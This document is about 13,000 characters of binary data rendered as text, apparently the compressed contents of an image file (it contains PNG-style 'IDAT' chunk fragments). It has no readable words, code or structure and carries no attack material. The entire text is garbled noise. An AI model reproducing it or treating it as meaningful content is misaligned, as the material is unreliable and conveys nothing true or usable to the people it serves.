ܦZ7W-Wui*:`,&cIaFz?o/p00cƝnW|w4~ߛFs7uL#N;$G)OUO.M4@7bM4$6D4?),y sR^`>뫇`L_-!9sX`?'nfM>/JH@LmzZkTb'l2$}Hy@CЀ΢%>.r/aF|Wtyyg~s@Kh&(pIg>ܣ{u@%]%ƒ'$-װ/Qoޜ9&_%z[!5IjW#D[U{CEwp X~7_;q-Zz݃:3-)m}vŵqj}ʬoϽ,bnc_a~WSCd<{Y'9ǂ!kmMymT-7 3L.Q:A3}RCP;gWO}<+@4}#֝_mN}(Bxj^)xM(^!*V?ӿt&$iˌJ1ͪZçt~Sasy@G_Tfk\";|Q:: o,O ż*‹1woʅBTnά<t.9:PKW7=
]1L=>*(?Qeug!&{qΡ^!TY|_Dbwxm)w3q*r_ä=z
Z:e):~r4bԮk_
Uminaw_!?Ԅf:DxaСJWO^_	F2,ot邇NN]_ЩgMGM^S}_l;HȆ96ԧG	~ξϏ!=$y%nI:W;lj7[͘Z_dQ1?1|WoC0cW i\K]ڭA?|cK`٢<?}_˝MjAק2~)`(L#:'"#-#¼TG	ۦvm|?:iƫEJhMd^s)}D@4@IDAT~|-_7J[/C_Iv{^
M?޿O3k1IK޿框>dlhu+>/4[(;}j{ph|^b/<W= $=w*7憲W_^v'
?-eV{敄gH=jA$B7}v{r_Ҭ"}%L=ɐVڋk"-+vy,{omt[G&fY3^El>؆C
MܓAoi)?8Q;@zGͤo}L-^A1[sLPɩ~H<֥ŝQf6#od>gv(TDf6/՘&i	s<я.cmO܊C<~k*oAk_:r
oN/IOgj_O}7z<+8oJw1^pO??R
1$	s+ǿz.*+@/k\uU\v>Zzeoqb&-Uo:@qo%xCrUSh?IW) Z@8{RF?O9|}*h@
,#G:c{gwNIG`4<'n]I̽{G~3XU@{kV87/CTΣ1ΎIߪÚ̟
>>F3Z?05 T=ɻ?bJ?4:ilq	{Z/*z:P)}0[C
cp`\pVJW/0P<Qc%>88sKd}@HQDߞ:EчaLn+?"7/.-9̃"R؅t	{~]cb-#8CG@Qʿ_"VN
OhIFG~H;;d?U*>̎VM#oN>6
K2̘?v0f~15@gC0v̫Y?'s0JIN_5}oJ,bF?dx`M|oukoJRy->scHDcꌰroxsnn80߿f>Љb9TR`w~56~TeV!ŰB.v㶬jQ	Bo~׳P _8jOt$lۿk2sX+Ul?Gb`K%1w7;%[iQ^>u	Q1
"h\
L36|A'-&6+IZM1$GrI
nϢoQ$g}I)c>"ΜG?>cbUR5fvŔ{`w$l]|LQGlw߿1Ð$ko~$>"ɹ{C"Y\΅&?+VuVπ*n=&Ӹ7.=1>_OS;;?z{p=?U5<eĂ*4U~qyF٫36j`mQ$n=w%o^u‰Io)lQ@	:TeiJxu
wa#'U|MOtֻcP[WR4m+:L!FTP;?S'޾\?,9-Iqj q$1rJ"ٻ7HG6\ 6uB͢_a,K=J8uBXUI*r>Iz.DWjVh?~֩TWJ"4Dfhc]^/Oc]}-GY?Ow%}E@)0
_FO`nh8>76 { Dc5V
@TwQ}٣rL}d$jZU~ʾ^2`9غ[M"Bh;_浵2}=ku57ο'xg^]Sueʶ\ ]R{)q֐y-#&1<Oصw6$iX)
YC0~E󏈪H٥~OP'iF~h)!]+\h-yq}z5yv࿞+C?[WkSy}/ӑJ.\y߲zo^>DC(໐
8efKa3g[ry{0i_=o~6+LrɹAvGu/{.&Xv9	X~?jƛ
̭3W|s?*MUi!OfC3XxSb$?u7/7Џ?2thM>?^`z]o~Yx&N˱+pz^󈟻j2ޅg_|?M
1ϔJ~eXywV{~6}M0SA<^-w=}Bdi郏t.o&jzOWݛ,Fg|^s̯yTBY+K[T7n\n'SS]?cKA?^A8߻zO|-W]?jW}K\fQͳ'+EO7$R"nl5_ТnYۺ_?OhE@M_Ϣm1Go
W4%jnzd/k5r$R]板3keF˘noNb{~SsY,qn%%xNce[yB<˒{}1XlI"qK}
HL"}r$4~{W1~lel`Gr[{KW[Ph׺VxL-ldϫ6s5}c;2cx;R4}[ Cn7d_']aIC#}囈o lƐfW0ngʼ}߱|L[~~ͶsZމˉXʐӣSgQI <{H<;=:_do毀sӻe;و.'^0ГP
9AsP#(6zKhNݡhtj=CϚni-OIђ0

I
jֳ
uj'[}^>GvPq<5Ujҏ3;
gW#st)^x]ÔouuK':uB~}k'2^FD<HLpNܐ dͭ
[	F`o4u>V`]PI,CNyR1w!:	

?
dO)%jڛ2OoT佶0'aֶ	
tB{q<
3μ{dvL5=o^ДTQTp?%^0u4Dg_.>ˀFVSӳ.T)eb.U{~Ї}}Jj5sImkʂSׁ׳Ԇ\
7x{uU$S\gݲ+^wȫ-fIG_{f@`5^4@܋L9&\*~Bq"~O=[
SҾ!co\fe+8GVY/w<ֽL֊&~.S{
ju/m7{Z÷21G	ޟ}`
^'baR`bZJ$5HӇyBf\E	leMh}Hⲝ| z0m@9og+ou0MbuuPPB"43!lRoi+D}Ig0gb|:1Wis"$cwiv:y	F5g>8J)ORbjd*7VwuUh@Jo^ki*aShp7FG%~ M,?mEYb荀٨1ӥD>̫<ƜTEy,.NYoxG+q1	M$6?!{~76y$ޥ5Gs1+I:_Ag99~Ք	Le^y1k-|-#=
^$I>1Ƕ(fsrgɈk?=Ac1<({zRJ7&`}dK.hat/]̺[㷎w&sEk׃0qD^/FAyʵ9*\'rrbJK s žk۳+BEq!ĩY[AILxc47q^bHt#-^R$%_"e?hnsm;c`ymyH͹ZPggpWjEZEuv_i>#GѤqӰb{B~=?5)ai*խOKM
֡T!5a퓮'ɡe5f&VȬ|)pfrgLEtyk_=k ZՔ}V{뫯~~_<bnMbVHkbbHK:t^{}Gj虱*6{\WcM=["f9xt%G2e_;=V||W!,w^Mm|;2
Yp>9?o_γ|*ڭ}f77W]`:~-R
A"zo
}';@9epӾY]S֌	gQ7̚ w^#JHii!γf'D
0#N^g~mj{OV~h>t=ֿgMC<sLW7V=ӿ󍷦I^m{W<ì99Ś?pTK'ޮfkZ\+lݮ0v?jv2~_\!=q${	ξyބvQ-Kݔ$y=KNPAw?͙-u:6]ViNa
YEOk@w]םsAp}2mtjoba+j7{ߟrwBx,_y>UVQ+p4j	4
E3$[wժat_DWAϫO=:
0}
IwOlRC8ݍ-<wJm d|pʴl^|}3pMkkl=8.]qbZ.gWa'cz$lD|EYhM⫽Q{	!?'Z]ő~{1ok+o/ϯsfsRhF4퓳O}&$<zjɨ~^LBb*nԡ3?rs+]-7&Ջ/'s Deb([(bi*SWkOtRr	πR-2ND`pR

eiss&DKz@Wb'k>nl>FU3#'DE-fѺbƻF|{/_DO?``yWhf:IMkfd_%]"V
?
f#wwkZ>>9?^-=;3ң&j[s_nsԤ<x`u{UE~!?^Ubl`Y.
̢J3B*o#
5/䞸|Q
&VZPL"co{5𪯤g3׷UcVc<
_e{?樟鳶WB?{-J{пSJMzW!
1Gw.p."8~zG{vo#ڻ4@[?:p.c!A>GB={aU ^C7ce
>W▆R~[1cwRtNd=t3Okпb#oKS057݁f_eamORih[Zc6Y*38ߏp[064`ۮ='U~5Vkjwqί{͹EׯBz843Vg*$sHU\([ُJ7@U||jܧi0UO痵:2fx"`\QoU|ll
&?pD^u]dAOZWj
t
&״S_$چx{ހ|
hNUbi*kˊ<}Md
:^;(1w_So`Vt9sytA'cWcG@3_f˯;k7ůS>_tS4G-RUdsG@	=>(8?-VzU$7~I89%{IgV8wߘlݻ45S~;go$SmkV%^01>)Wx&`οw[\Yžx˘M~EӋJ͑fk|v,D蒌8zmRy!FQ!قqBÇ+]	 Efl@կ(ؗxpLUuF@Շ9O-+EYbKajEv=VT	?ƿ+GU:<K`aD/~麧<_?@K܍\OSu8~DT>t귾d?~cM_$߳ʹ~oIՃyz߳hS'4=;Qj{Ss`7=Xiy׉v\q.pwbl^3?ҙ[ѵZ۫bw\sHIXMBHSZ9oЪW]	,mZ͝Ыh$*ć{?ѫ/<iL6:^y0']QyqnNEReɸW/1g܋`݂q"Q*C)NR	Vœ ~ea5hr=U_p3сٶ>A,v=1p'zbd@~}ή:[8g>h߸B3<,kJ<~TxB-mE~oN2u̇3QxP~BXhqZsBcw7U-SÙ٨9RubO*=dZdmF"`j~vR>
lI%mŷz:%v3@\Kn$5%f~[:j?*[+o5v>ȋ|s`;>ிs'yyf
yVY50WgSYUWjw>=뚜mcݟ=zVw:`1Dj+u`e/k@.N0np0ųm\	3)u/\VyoшDOnܹ%[=6[}Eq0G{yTS<.Gv3e~$rӺZpS~d8|"2G
	|#(p%fI?9gWiOa5F^y >	k62̡~Ͼ]]=OoqM3DS>/UԬxZf8/tI-5Û	
f
jHA{*&~\+Ix75!0?,]AYƳMZ
I?^y^Ht_B~*nJ_,˺Ft>8Ѐ%N`ՍB¹[M(gloM/:<=Q"3:t%3zU\+(`m>Fݛ4K$W3D7V0-]Qb273eb>={>2仈%Y6敶}!E:(%rJKߖ%؃kjB^@5?Y]*8<x/N۹/ye7w7^6&,~dϳw"ޔa~X8u0_FS䡞Ӡ#O~aoN``oxf{$ޏԛBjgD|Zp~>83ҳ\G}4Vb
Wp>wv$ضn׈/T8cnsG-f&7z
pㅿu
/P~mL5~;?%_-o߷)r<o!y9Z`Mj58}/O']}&gwhGކ,fjj߱?\ݿ*ڴK5᳼Ca_xsăg~wEAO$oaXϏ]sJ\[8>@pW7V랕)9*q0w6&DE˾^M*͑L^xyT+/7׻X`@:*mf?]>Wc]B7I=y
 ؎+Z,1as!ZX~)iꀴi鍨gj5}:#囎gzfJtD
ef,bXDž$s)OaJ~]9R|WpiMQ+c7ʚ"_jGx߫pH#	+~p騱+_ws?]_ꌜoH+Eogv}ERmMpou\o0Q8M[42NCNcR~׉x	G ޺WPhT'8h	լk/F=WYOf
3@0߀KOoL}Ϻ\ד3h9ahYu/9#jTe'
CUy))^(b,E|#S'PypW}U2^I=l=G䏁҅A
 ,ǁ~K{I7f\.7N.:l_36g׋M8;es"49.)*/xժ~kF@n?x(8r'Mx
I4RH%-
Qz_Qo~EoN*?rkIPIEUnd|foCG䋛ڐ?x^p=<p|Jg̷ssw~#k6z?IHPs@h>HB*kDBh?=Gi޳FgS1VBr&|p<87o䙾͹rΆ?uLao}14׌
b@ߏ99cG=Dp}R"*;Pǂ3En`|>v@){~iw|pQѣoLXJM{~=S
	
ӄQ?6yJ>3gq6~P>_kKHkRcul_%GW+y}}
'jh㯼7侚4u?'KQtq2].	s9>gęc~'T눆J=,9+ 3?ony^8^CI^`U_##*Wgoipڤ(>T_/̝sYK_(A8|zIƈ:?xMPEaO2RBM*\pWp9+PmSj`@y_3:7?4OW7_7вk<	_O"9y r2
3?}('ynyZԿ=Avp4{~m#Cmr5,*W?p`7ƵJwp2G>|DkPաeݼ9]/
(o.=0;S@5,'<<$s:3ϑP8»>-H-B[G`sEk0=,010e'G	r0|':l%R>? jk~4%
=^|f}$+,wPlt޾-01lr]f
|mbt`2I^([</XZ/r)?=쭪	k])O25!/@O^1zE+ѡÑz:meX_C$$!6ŋZJ1|bg1
Q֏N	}ީz?D3M)~S@׬
PKT8nHV`s
]szVg\QSR䕘7bӹ]E,E[_[WToQgo&`c̰LUSHRB!GEsѮ/$`φ=FݓʲSM
em*pW)۷LcNb~>>A~*ڮ淜po`=)eMu<Yէ~6T_?i=>5?ַ/{1Y_oPZ~7:Mcg?Lj`h}ߜ?d8ݼ)䋎_)<ouŮHWnG/毙5ZxZcJE<P{_tIIoOz?B5Uo}c[ˆȓ^'7QrO_1C^} k!
Bܦ:ԡ]1U5|/&>cޙԹLc23^g~؆ݿ.cË*Fp7ApZ[GY_T%^OK¦wBnf?P\C-?jmT{-B<	gk*Vnκmv=s/Ժ>x'I{,Qv$7O5Kb/c|!UzFr[I2@ YG>xoCiXRJ83M	_M"Cݞ[8g['kXA@4tؓfCZs_M<_1L{-7z"|b~yj?LJ3IߏȐً;5V[R~_BGO֑z[
H1{Ǡ~볉qzEzF,sxjJy鮇F8΢H==+t/mhLy'+SjYJ/#&!xv_D*_/??6 0 #Y/xC{sZy?OIG4Dv
:}r\(ۯ%hP_kfOxlO~aQ{P?w!cӮrZh>Ho?`4B1LiW|v!D._<M6rME
Zo-ˈul0;LQHO#4CHq]aI};ovG^O1	<]dv x\*܇n%Nؖ/'$E]b1aN[{ǫ8fz)l9
K
jmzC}F^΍3xEOjholu}('XKjX5?TlCܮ(|^Ggh|8bxA߄rx-"Y,~BRO0YvBڝK<!ZzkWrB(Oi:rĠ$SE1@EU:.ofwrK>P3ƚp9""sj!Xh~W`}.SGOMN|37gܙ=+X5c>X͡B!+j/RZw=zuyA}Nw}Ep}2f]$j?G
wAjgG
JڪX/jgFrk)IG`qoBa՞ǧ܀xA~+ڻN[O<FU?uϚxbcxF9\/nvx|mE
8>;%3U|u~h={{tui>-~s;w:zZ썫9߆py ihuuy/ZyGoiM>p<Y-(wњ3S~Tg6Oj~`N]ݖ;~2>goaN,›5Q}Xfbk˽dK(&Q~ m
	
кsxFutOxI|/S]odyF#ˇ3Çg}-)sJ<^@Gq'T)О=ZglC7#%#>ap>Bl.;e^/}b,lPPP'LKWX,HƭK2ޓxSZ>VF	3Jt_ǷTnsuPzuB:@+c1PĪ'0m{3),Q|/o]ً܃
WW{w>d:pH^EֳYHMWSˡ}:ohQ3bm<ǟ
]n--1*!08Г0OZWR1)si̽ZXCR hu7jZ&jO5beުӂXH+{\NkES;$rG5•.m \BKỹȰb=Kn,'i!0;T+>À_ٝòs/9Wa':ZS-	\JQ*>ktP@
X3yU(ΙL;gڸU^'!1=dNp[%vke,amбPPIrUyQ{V=ſ{ mɌK`DZ`Suo8GɧFt,_[CtpGNg{~kƸʰ)Iӿ]26,Nۺaw49CP#H:{Ѯ}\:|Y9߿Φ#V[bss}S ΙCڸ+us0Vb+?Mx/MgѦ8ױD89F?,x|QVu4Hu"1ZưgVaZ<:C;sau5^պ{7<ÒFy=0[|5{<VHgԽ8o
,<}lD Ao_9W>}
Xo+|/(OPKOvto{.:u7?]ϒ7<O\DX5WDS#C.p7?xWo5{QGY5dP"?r1aPVǘjh?_+/5sOAd+1p4XǏ
R&/sHpF=k3Z;g!V:>~M|w#yg#'v<h7g8O;D#xnv^.N>f9EH?K1l}V5nI"p524H=Ly^>6O	N\	e<teЬ\>ٝ1;Z(/Lq<gt8ߪw]s짖ޑ9wHL1]{3pQLLXWby,Y	%éӓ|27>~WW1&h/D2YA~|)8WͿ8v<0ħȍp$?T:w,Rz{X":)x'ppӧoAvͦHٱ7_I̻9
m^k3sÿ
éxG9\j{Fl
<3}I?>|x#wȒVJ8z_>X=;L](yp`i*OA+RŦKwQ{Nh[À?q0D!~c3Vg D[R{ϋϨſ^pџ^n.Tu#^^zZC#>xP+do0^vj֙+W<Vwj_QW_l%byXw"u4W5_}өxKtzjL.	DoI徺>}v!ȧCOWiOo"~K(;b?߁`^es;M3gVLΥsp:ׁ|W!M1tJoV|@:#cI3gC"f)+RGO"ZY&0Oױ'jQ־c[c\>SfmWy3'r%?;cX?q$H{;O`i~/{	ݱSd)><_MA?8ܙ}Iis*Wregr欄!iWKs=s_~tCnt~Wr?1ÿ]/}GGme답Knkgt!7/-M.Xɻ'+~D>kPMكJ(yl+y_	n^l>q!&MoK?+?uhex.?|QyڴcUrgط+>T⎯B̷LTUC4x/z(>\@m+6|_[D6sfj^'	U爎 rUh_O.z:bhw]/SOѩ@IDATussJݣwx'^KyZuq^?ꯌ:wzB<Sx8xjzeEZw0\|@?Q͡!:)}%^_4 W.E>c.Do3co}vWkُ.߅v̺oEOʣ+s+37'EeRY^6w3RMXX'pZ,`0jq}{3YӌވU:?8/]:dk)Sü4{K|	Ξ7>ik74fr
s>nlZ9ٗl
^9-SO{({4Ӣ!qw=B|読c"5RC'"~O,o1HSg"91`anyE>V)z-"|~~~arC:p[ZM{Bœ8Ny|&l={	]WnށtK]\)!TCM:~CB{\!-~녳[&xD\?wO]-0mc
9ZںwCt9gp("VpȘ%MT&<ho6OQWyo3Xߜ*lvN+A'޾{Lye@ǫb;}W$Z8Z[Bu9[q9_ySBǴIț	6My6zq|/o>2dڍ ."p>&>/j>t̖Cf4`hwtfK͛{
Lb&s\|]O|{>41,\n.xw	_aOC>_+[{;],f/Wߨ[F{:VWwkEc
y+RjzQg|h2Ӝ}EmFG~ϑYy$mVcAqs}vĵs'B8$[+K$yn/`soz2mO;YBW4^7?]I{6J>[ld])9&^Yo
nWNY/=5ҁiToYn}S{¾Hu'ř7OzbFLu#tȏj*z&V?sBdz,~ȣևQsQo;k'V%A
<Z~	=9b>ҧA
~%Ub}V#MANO~>%6+E^._G{f땵ZQ'n|ϤTj3il*]L陱(
_cPnnA{f-1c

pT/-ˉ5+W/<t QWh%ؤn;W5]/`qvFʚiktn{&*uy7[iAW9Z3}ԉPǍ^4)a⸔?0<0B?8:
hpOSSiԍU*F2-v@⥌jrI>^2S#۵TǞz'NzہG?'n2?NzR8f
G+2HG%Ƚ;:TQ0Bʭ?Ţ7E<S]a]'_mx>iOJ򷘕GparY/z6I{7%!XQOo%9(soV$B܋iNJs*gQgrB}B.bNyl
lm~Gf4,B3xҀE_%Q佪aR6A=̱B~W(^rjRNP9%ҠbqLʝU8@z-P^Ǣ͆DY X@:kEk{i)!րOm-5-qS^W*v~EJ-
 I뜢3?.sp3^178qBlz[{{hĈ}ûX(_S滾YǦCe7X8gdy@rCne0D'+v2qĮN~P23ª13ZigD"/*']QcCyk?F"(^}PRVΈOҥ`GdgoJqSLP^76B2ul?ӂ}wo,R C4k@>V<񍗸*B
5k:~NOu0'Â4Jz@C祃턺ó5'JwVol yD&Ōx'^
#II>'5#ЮZGV*[w]%~iy,)+y=
b-K^+C~Sa(R%s*'5!^k7Z^?kj="̆CL?sߙ$|QxA3:
ሗkÞwo6׉~eUd|/&u `
H:VNzya
l[X}J!>`Aŀ {+P"grroh?t)Z 3߯z:o?dE+RhBt ny{j{vkyAok%_;/
0OX4?!)PplN1ea@|W|5PQEһ1[r;]|eݞ@WGygFR^{7$?jy;AQ3:!Ds6贰'ܿ@"$@O˽kK5m5pǠP8O݇~G#o^Rl6{|4
N`?ߴ70G@ZJSƨ[V<5^zMPSh5X`S@P]^:Y|
!9x'xK&1,%~_w<swl#}E_΂'fL:ܧD'pi ɚXoP:.7or&;'4to<
%#Ę\QnW8ֿXjߖyJ51yxp#Phkg{%~BG7gW7y<pj,(*er<J?AnEx]rޔqiA#)Fw{LX3?@ǿtWg
Zf?8Bw8euv'[]Oz3O>+ 3?f_w|S?RiqF(:0T/gukJ
wOP1S>(bN`k[I>g"Q՚<BϿ?I33='<[,Y;	2~dϳ*Q%A͇
?rRV]SzvcϧWֽ}+0}]}q+<a~3~\$/	çnߕs	V,	J_69zXk|
z&IԙmW 3{!KkD=U
A.g7Hh}UM6iui|椖!;m<}W=Q^Ywq-:/C[ot$b+D2k<tW1&B=86#`~`!jY!c?&lԼY w`:U|$boӒ[q{<18@F3rI[L}K2__v,X!bgo9اN65`֊!ij{B9f׍z1:Ծ|f=M?dDzn[^ŀ68uO_z:#@3akom|^y^ xn YEj4I6牓Q]ֺf0Wesn4wewhGbc`/
MfXۺ8V)Q3,?
HYd
i_kT.ˉ+>oe0EhGBI+׮s<(usL;6Yz7]Ͽt-:|ŋ_y%ZW-'>V8%Ϯ@~,i_:wa_wzQ^+#-@e(Rhg8T|A>y7Wa(^rOiG,]i<\^.@[2rըZjkezaߡ9S-xW??ݓ}qN\?ݿAk}YxYB|_<{
ߺ\b埞ɤwJx37ž}s?9ƃAֹQ{/\f9֏W,5U/g~|W޷#|lvK0Ѷf3)-#GS?WSuvy9.KvĀ.9KZE-+u>9
NpXehO8y{D}juG+C=v~~~JTB3)drEcgE}P֟8ע:ɰOb[ |ǥp|Fa~.| O1{D,}9O~`<H,?rf\.S~MG[nE;
<m}uOҎEe$}^BoNw~^]U*noWjk6ˉݷpגsrQ;5L')Laփ!ԭ8/gZfkFX<Lwq\76y皙=}4~^ɝH42фgN7pR{~]E2LLlko/?}nNG#u{!HQFL[Lc9_׭P~넌w3}fVy;ƅr~Z;߅1wp⸎A
g9X4]ߜ6Vw@)~TEiW:p7"|)q:ˡgtQP%
헇w.@%gaIt{	.N$[#[^]_ۿ{muE.I4ܿɫC/5vEfM{H;Ƈj:awZsҊiϠQ%iKUo$khE_tA|Kç^'(?_VnJd8à}VA\u@R?u|4kW5h'Q8'泲
؅(sշwƑ92?|VeE}LT£C+_̯;5szUjۨ˴ZJw#[}
P;dh[@c_c-~Eco:!KB2w|:f-kƤץo?mQ׺ǯ@bϰ,yU?Ot]lO|S+)Xƃ#p>:-sTkVguiQgϝ7`l{@ٝvOO$|lOknO\kic|?$j33EjNj
>9E
XjHSȞ4gn#	/?Ӧ3ES9QVx±3L@G?7DR$E+ΙYO9wyYb<Nz~?jNjpJO%'nZzjS<hByw"<swn@MF/ߺW/G|q;MNŞٰ(s@pUj겇yޚ:y/6U8xHpr\6w"C%U)bA̯Ӎ!:2?o
qR7୞WfG
jIuw7>jikm\=4V~>=&tni"_IWkpvN
mKxL̯[^czs<sfaԚUmGYGjxE oHBamjp%qS1q.OYO5U=_ِ<?ÿ~Q z*tQZ)&{_%=ƀq[y~r
Dl=|"`Ǔ^n,C?AtتYtS1bo٬vqBk/it>~d0Z4_pJB1cԵL^sRЋr\>Ălо=A(!ޣv߀@#R_:DK:713^fw;I߁P}w
$ύz){[S
F)ߙ>W
<<7gL6	Q1KME"P1tѻNT^HC`wCLpy"`j%3L7ch92za^qQ·V:J~Z
Awtҏۥ-;kxVg/u#olN?ڎzrK~vvuSrz9֏OwʞAD}X5SǟߦDGqK!I:VkJ[,By6`~Jjj+jV=%R*̷L
/U__oO!_S?>vOb&A]s?8eo)D0=$سnl̳Ϝ.$G*6؝-˿q^ow=]λ_x_5oP߭:qF%|:gҿl#DGV >oupCJr	׼m/ocgw:MR	bxo뻓)Zi7)ݺ=oE,$=]؝jsqݪɟ{5XJe)Z#}rȴ*sWݼ`;S!~~
a?ηPeR)K/of4Η
#=qŎ󻸡@J(ի$s{Qqۺ;Oj\="u/RbER]M's_
D3N䠿5f{`AϾ"\=^ṋu޻2Tչb^%-ɹ}{S_|?$!̚ھA˂Hc64
[=gz{}e~yzu/kWvIxžoWr!#=<|1y|B><3m*u|=l>t5qCS-ґ{=7$x7
oLQ+6RGomy1سVf.[13[jxwߚ
UQ8f@'Qa%f!.kӋRWrXm'@cQ~+z7')7p3T3UwY/E*3	#?bǏ|W8Hm\ά/͎CN?<q*	k)CZYR˧4sR@|dMҭ3[E 'Hu3Ezg~	J}b٠F
{k͇@wQrwЃC];5션X=ɆNg~RmկR%L>w
Ÿ<O'10|[0۠I57@ڋq8<Hṿ`T!<ߡ5u)ȡn>z[r[f2Tݏ.&^ϷvwZMR`;A롱ao+M9Pq]W+$
J?tZY'O,i{5>Cǔ2?*/
3m7y-нi[Q{dw9qTn}؛_'
Rnς';?m+uyt;#@􏖞}~¢~5\ܯa|_9š\vda$?e1p۔8x*@(V*iۏcڗbk?֢<~y<㪵%5ѱX]l??⬿z|p7A%V̉u&;8GZ\˧K
w3#"1\ov/j>H*`xhj
C"gn%콱?[]Mfʥz02?os_'68kO|
,i.;5IƇq4xk>̮'<uB_j_!mƛ^"	s(H-yNr_'+OpAb(TíZ9HgkoNY%?Aq}
B׀=VS7ʇ/	[4d^
$gu}Z+3/p-?L2bW/:~<<O|uG10?װ-&:B65?G[ysyen/)$Z@mǿ82j|G#xdsL}Mc[gv9H}ov24>~-`

{_=C>͆{)*uWM.	5ϯ#gA<=Ry{9&qqHkme??\"ڇ)V>DW`Nof@I˥3Tqrx^>ɐblrO^_4T42ʩԻn
ɈxN(GH%k/gYdv3gnߚSws46GkTz'mdC6ig^-4N-7u9_/F=V|[3f*o%Iā$=o2DkQsd6&UY}uG}ͽi^b]K<=>?ꦰP?tmaw89|
]Lx0"?>3cuGO_1tֹxgOAA&5r6qr5г=s}zʙ[?LgK@:>Y\[A% 3/g:"տ<oSߺc<7|ٯv<WSj$7|PeZG0~?AtǗ3_F(MgJ>/ɞ&`ߏ?$_j{K|s8Nӿ=\B6 /G4<ti|vgqz'o%_"w~3K\wwz=eO
*В}=rǦrC'~Z0
Q*r?5O~D$HM`UnqJއ;3_01ך#ayبz1}Ӂ9xf ]\k!F_t.ګɀ[Jqjb^Luáw{wKd$QߞHάomt37@`?zle1a5M=+2Hq*V1lS?H)	ǣsd)n8(v|.9
o9|u{+u쥵Zr
<=xr3>{]}8WPKqj}КoR99U@ߧT/.>ԏi+*Z/_~qp/?!3h(#,k3pN./جb@<Ahx	L~AV!kub\.XrT
,:GcBXU<ӿ?[V?sן},g$;x7
H?&P`pG̩sX'OC^ڽ͔x+WAdo&T~Kx¯f&{0N>NH-n_d.uØζx$ȟ+*'jҠClr0Xp-?ԓ.U?uPI/Z)x=-NՉ*pY,J}bk>)!l/L>5Q?;	sd7v4W}'؁^Hs3?}ҿ_]
~Rf eN104)JÿCo#L0Q+-cZ={p`dbl'k+_<߉{:Gi]_x	t{SSG`wGAfzP|
3?*60ͭv(Mh50E⋭ư>Ga9Tpdy'`C9>S<5	l?K\~@;$[~?=}3oCZ7Cu;gMo-?/{ijzU伛Lwғ?zM}o7QM_|g-[^{\hȏ}m?KG/A޼,[WOOa ٬i%:GgŖ~ДY'Ng~H-5}'skv474(_g"ϽXL/cis$'J#]vE3+%ѯ'>?U64o[n7E?p]ïߕrGKɳ'0\37.nj֥d]!HROab\D;փ85x~ߤNL?<e
޿JNJ"}Q5"@bV;=.Wo}حG}<Ꝛ#v_^[/~G?pU%	Gw{d_~e"kMG?f1AJlBZ?&}Geqz&jsj@[l|o{Sh^wzK!J4q#O?(	{9qrш?a^8;j;+1^30X׬6ID|g?ZI3Gr|-8׳xzL
J,ø1T7=h/|t~:mJ]>}&#PqY7~FmOї
wa/VqRsJ@9.o|]~]"}ŧI'ΡOeX5:]F
'Ov3\NBgju!~ߟ[UT`ưsS̥􈻟e!f.wYk=]HV4c{>Gmo&ۿ׎cz*ӻ2շ(f<gxĆ{\J=cYWP}j>
G6s~
s<Gcu0'h<gz8'GWN`Whvd&S>qCWhhcCn.;oI@R#o!w^>,{x!;] .͟-t5D~7\IF{ڜDHNDjhJAɥW?޳ǀ|l^D_b_	֟Ga,"rnt/O_d`ߥ|@ޠl.،8H}b/ܼ:	MQ=aLs޼<=k5|nd6fRrjȳ?g?j㉂ݐ^౏Tqjˮ:lV)4j~ag8!_-`
QC^j0ѯR"q߿Wم{a⡇d^c8u3nz:k꽰w6H?swE<P3>@vJJpF@O✟Csk/wa{M)v'g}-m C5+=sj?bƛ%zZ\V?_McI*:J(G;w̄(	YYu<64Ѯ>W#.I_{pR)޺=>Q?B7$ЮVo
_Ӑ;h3yhEd@w:?'-Y=hksz1'Bx"x1Q^&xSC+Pj @^B
/
a<Ov3w^eA-HQhYr$6gn{\_fw}bYu{WzX>ɏ5.3OM{{`#:Gr盚flVu/=|D,`.ZhaAd_m2s1pZ㭊$O=Nߟ+ޙ{t)oܡ|{]f5Mo~^_U=TNy<#.!{ag#wd`_^(t.wL*]D)?@##.˗Ҏ'_!ܬ<ӂS5Va;WFwhj+"RoŚ_ʢں~py0o~?B3MC'H{;wRz<y空8m|V񵉏v2Hy"*߿`oHbۻǿ>ƌ+?SeU[}nL	wGî8ʭ:ʵB=2zh8uVoqqh3j}gB<h@ٷnI}ggzvTo+>I1(1;gѽנ+M.ޖk; _bFeŝcO٩_w~!‰J4<[#$COs	r7QEiCdgY^M3iɗnoOUx:3oz(%dz@	qd]7Txc^m^|tx|;p|Hw1wĚAA?u}(_6ۋ6{9f&(~>VU:ye`8'OqcǓK''o*#^=is\YNf_g
WEY߻xH-Ys9ott8)0$)^$p?8ۮi@^SP?3'Jo':[>)CW4XZJ}'{[las(:?qZwK?*X}~k.sq]aW#oqby0l|Um
,(#ny})7zB^fGb ge`S/=-&ފTO=Oe>A<+;i 	l9a]JI݅ky#> ^X4ܝ;|GpZT|{#-}R+ˁ/E?T1;"St'$F"W՝
m60Q,Qis⌷s5>t\>EO*_ZJ/I289'F?v&E~*`?=[v|V_?aNq'듽9bO\
Ѓ@{hI^NC}rI۹^yH=Q]4If*NNA5+糪@,fA_{ػ)@ߴˉ=Z']VRuꟌOVȗ×E]$+O_Ÿ{H`=с}!ߗŒ2zZE(=>	s{K2
ݍ|@Eν?|VAգ禼__Gf7xďl4ֹ?ƙ%5?~O<cg "NaO ra"_BcS`'t	@YZk~؞;Yp#-8O#|SdŞ!;!+q/i!ӽqHW6<ȨO6gEFwuW?͌>zV6Xz'X<;nD$FyO0|_jX6"g^#5|
pk8\@^	1)Sr\^s__sR8Oz='	mc|y'8"YhkzJC4)=hkoOi>@7c
e{obVIuOyjg=l58[ܿS-CMX֔;tJhIC?xR Cg|/hj*^Nzc!N=߻HA|ϧOrD`z23{H9GiΛmsy_\
ݻ|~gDXCw{F`oMDR|uM^rN*[g(AdRܒ~5ouW_Ql\#럮'[3HNy7ZB?@Tq#]3کJBWF)>;WҲ뙡RԜfzAwZg7V[>z[EA%VSAn<g›-g
x@L>ꦀ&?.zkM|3Msp!넿'+YpW?#3)l)_iΧh]/`
F[5阺!/=OlX|QKD!/ l ǐ32~Rpꀛk:K:.1]~ԉa.kY΃VP}sv`1k뢐<_bO?j:rpuEK%[b_w<Y
wV)`XGSk8(7ܗKYI|5Ԉ2~I͏O;âɖRgBo
7+'3?U#U[=s*ˮ[&֍e:xI=wQ8WFz=@IDAT_}#69ml$BD)\!*{|>q -	QvNȍ^gQ!~._hK
	*W
/Ϻ9lx˟h5+8̧7+wc"gwڇ@tL˜8EB|0Ar&Hc~k,Ϫ}IԧAϼrPۡr]0+%?O_NO3K\-ԋ=;p:T-ij"g/)3#j[?Fw<q]
